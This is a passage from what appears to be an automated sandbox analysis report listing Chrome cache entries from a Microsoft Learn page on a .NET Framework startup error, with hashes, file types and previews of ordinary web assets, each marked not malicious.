Preview:	<!DOCTYPE html><html..class="hasSidebar hasPageActions hasBreadcrumb conceptual has-default-focus theme-light"..lang="en-us"..dir="ltr"..data-authenticated="false"..data-auth-status-determined="false"..data-target="docs"..x-ms-format-detection="none">..<head>..<meta charset="utf-8" />..<meta name="viewport" content="width=device-width, initial-scale=1.0" />..<meta property="og:title" content="Fix .NET Framework 'This application could not be started' - .NET Framework" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started" /><meta property="og:description" content="Learn what to do if you see a 'This application could not be started' dialog box when running a .NET Framework application." /><meta property="og:image" content="https://learn.microsoft.com/dotnet/media/dotnet-logo.png" />...<meta property="og:image:alt" content="Fix .NET Framework 'This application could not be st

Chrome Cache Entry: 117

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/breadcrumb/toc.json
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 118

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 77

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 78

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-no-resolution.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 79

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 80

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 81

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 82

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	464328
Entropy (8bit):	5.074669864961383
Encrypted:	false
SSDEEP:	6144:XegPryKCerH5dyUJ6Yh6BFPDxZYX04GK7M4:gKCerXyUh
MD5:	CB0701D474D57F8C8E2F569161CE0349
SHA1:	4BE2E0C148DED16354E7A91FE721644897C5503C
SHA-256:	AD52B36EA7D484522BA3382718BD370E6804F7B46AD3BE821D94AF81D66F40EB
SHA-512:	BB54B08F64F85498D6592C614F844842CD87BA5A9127B1D2B8AFAEC8086DE171642EA2D241708C9D06DEFDDFA04A4189AAD4814AFD15303C6481F23793CD2D3F
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/styles/site-ltr.css
Preview:	.CodeMirror{height:300px;color:#000;direction:ltr;font-family:monospace}.CodeMirror-lines{padding:4px 0}.CodeMirror pre.CodeMirror-line,.CodeMirror pre.CodeMirror-line-like{padding:0 4px}.CodeMirror-scrollbar-filler,.CodeMirror-gutter-filler{background-color:#fff}.CodeMirror-gutters{white-space:nowrap;background-color:#f7f7f7;border-right:1px solid #ddd}.CodeMirror-linenumber{min-width:20px;text-align:right;color:#999;white-space:nowrap;padding:0 3px 0 5px}.CodeMirror-guttermarker{color:#000}.CodeMirror-guttermarker-subtle{color:#999}.CodeMirror-cursor{width:0;border-left:1px solid #000;border-right:none}.CodeMirror div.CodeMirror-secondarycursor{border-left:1px solid silver}.cm-fat-cursor .CodeMirror-cursor{width:auto;background:#7e7;border:0!important}.cm-fat-cursor div.CodeMirror-cursors{z-index:1}.cm-fat-cursor .CodeMirror-line::selection,.cm-fat-cursor .CodeMirror-line>span::selection,.cm-fat-cursor .CodeMirror-line>span>span::selection{background:0 0}.cm-fat-cursor{caret-color:#0

Chrome Cache Entry: 83

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65410)
Category:	dropped
Size (bytes):	207935
Entropy (8bit):	5.420780972514107
Encrypted:	false
SSDEEP:	3072:Wx2fZBMb0y0Xi13tL9+pjXDMe/m7GG3/lHNVliMTqwK:Wof3G0NSkNzMeO7z/l3lhTa
MD5:	3DE400B2682E30C3F33FA4B93116491F
SHA1:	BC48B898DF43BA2178DE28F5A29D977B2204F846
SHA-256:	84E9EAD32EFA16BE0D5B2407F799FC3DAE497BCB4A90758C0106C8D8F55003FE
SHA-512:	D4004E4A62A81116D346B7A7F95FC67F97A258E82B3BDDBF4A9F28CEBB633E4A336A17057A765DA306AD9B1E40A99FE349D698B095A6F386B9CDF4A46457FC06
Malicious:	false
Preview:	/!. 1DS JSLL SKU, 4.3.3. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&define.amd)define(["exports"],t);else{var r,i,e=typeof globalThis!=n?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_jsll_4_3_3={},s="4.3.3",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},p=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},g=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),t(a),a)r="x",f[i]=a[i],p[i]=s,typeof d[i]==n?(r="n",(d[i]=a[i])&&(g[i]=s)):g[i]\|\|(g[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(f){"use strict";var d="function",p="object",se="undefined",ie="prototype",g=Object,h=g[ie];function y(e,t){return e\|\|t}var C,Ce=undefined,m=null,b="",T="function",I="object",E="prototype",_="__proto__",S="undefined",x="constructor",N="Symbol",D="_polyfill",A="length",w="name",be="call",k="toString",P=y(Object),O=P[E]

Chrome Cache Entry: 84

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	18477
Entropy (8bit):	5.147347768532056
Encrypted:	false
SSDEEP:	384:cF3MGvRvqhjNLN1RlX+Vqn3wj2pC33qr3h3x7Z04519u2/8Xx7kuFg/F3Bo3h16z:63MGpvqhj/rlOVqnACpK3o3hhl0OU2/x
MD5:	9A6B01877BAAC986FE1FBF4CAA95E7C7
SHA1:	A3227894EACEB2177EEE7CF66A693A9B4C0971FE
SHA-256:	12051CF7967A2E3F39971EC7F48D1892EB7138F7D1F7E5A3407D63E257EBE7AC
SHA-512:	5DBDA31E67FE480385283A63F8C2D0CE5E1B2A04A23917F65F0EC6867A9D95C93E4B50807D42D65718EF01588AA523FE791A0A1BD0663BB5DC9BED5E43995AB2
Malicious:	false
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 85

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65410)
Category:	downloaded
Size (bytes):	207935
Entropy (8bit):	5.420780972514107
Encrypted:	false
SSDEEP:	3072:Wx2fZBMb0y0Xi13tL9+pjXDMe/m7GG3/lHNVliMTqwK:Wof3G0NSkNzMeO7z/l3lhTa
MD5:	3DE400B2682E30C3F33FA4B93116491F
SHA1:	BC48B898DF43BA2178DE28F5A29D977B2204F846
SHA-256:	84E9EAD32EFA16BE0D5B2407F799FC3DAE497BCB4A90758C0106C8D8F55003FE
SHA-512:	D4004E4A62A81116D346B7A7F95FC67F97A258E82B3BDDBF4A9F28CEBB633E4A336A17057A765DA306AD9B1E40A99FE349D698B095A6F386B9CDF4A46457FC06
Malicious:	false
URL:	https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Preview:	/!. 1DS JSLL SKU, 4.3.3. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&define.amd)define(["exports"],t);else{var r,i,e=typeof globalThis!=n?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_jsll_4_3_3={},s="4.3.3",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},p=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},g=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),t(a),a)r="x",f[i]=a[i],p[i]=s,typeof d[i]==n?(r="n",(d[i]=a[i])&&(g[i]=s)):g[i]\|\|(g[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(f){"use strict";var d="function",p="object",se="undefined",ie="prototype",g=Object,h=g[ie];function y(e,t){return e\|\|t}var C,Ce=undefined,m=null,b="",T="function",I="object",E="prototype",_="__proto__",S="undefined",x="constructor",N="Symbol",D="_polyfill",A="length",w="name",be="call",k="toString",P=y(Object),O=P[E]

Chrome Cache Entry: 86

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	18477
Entropy (8bit):	5.147347768532056
Encrypted:	false
SSDEEP:	384:cF3MGvRvqhjNLN1RlX+Vqn3wj2pC33qr3h3x7Z04519u2/8Xx7kuFg/F3Bo3h16z:63MGpvqhj/rlOVqnACpK3o3hhl0OU2/x
MD5:	9A6B01877BAAC986FE1FBF4CAA95E7C7
SHA1:	A3227894EACEB2177EEE7CF66A693A9B4C0971FE
SHA-256:	12051CF7967A2E3F39971EC7F48D1892EB7138F7D1F7E5A3407D63E257EBE7AC
SHA-512:	5DBDA31E67FE480385283A63F8C2D0CE5E1B2A04A23917F65F0EC6867A9D95C93E4B50807D42D65718EF01588AA523FE791A0A1BD0663BB5DC9BED5E43995AB2
Malicious:	false
URL:	https://learn.microsoft.com/en-us/banners/index.json
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 87

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-recommended-changes.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 88

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	dropped
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 89

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/global/deprecation.js
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 90

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	downloaded
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
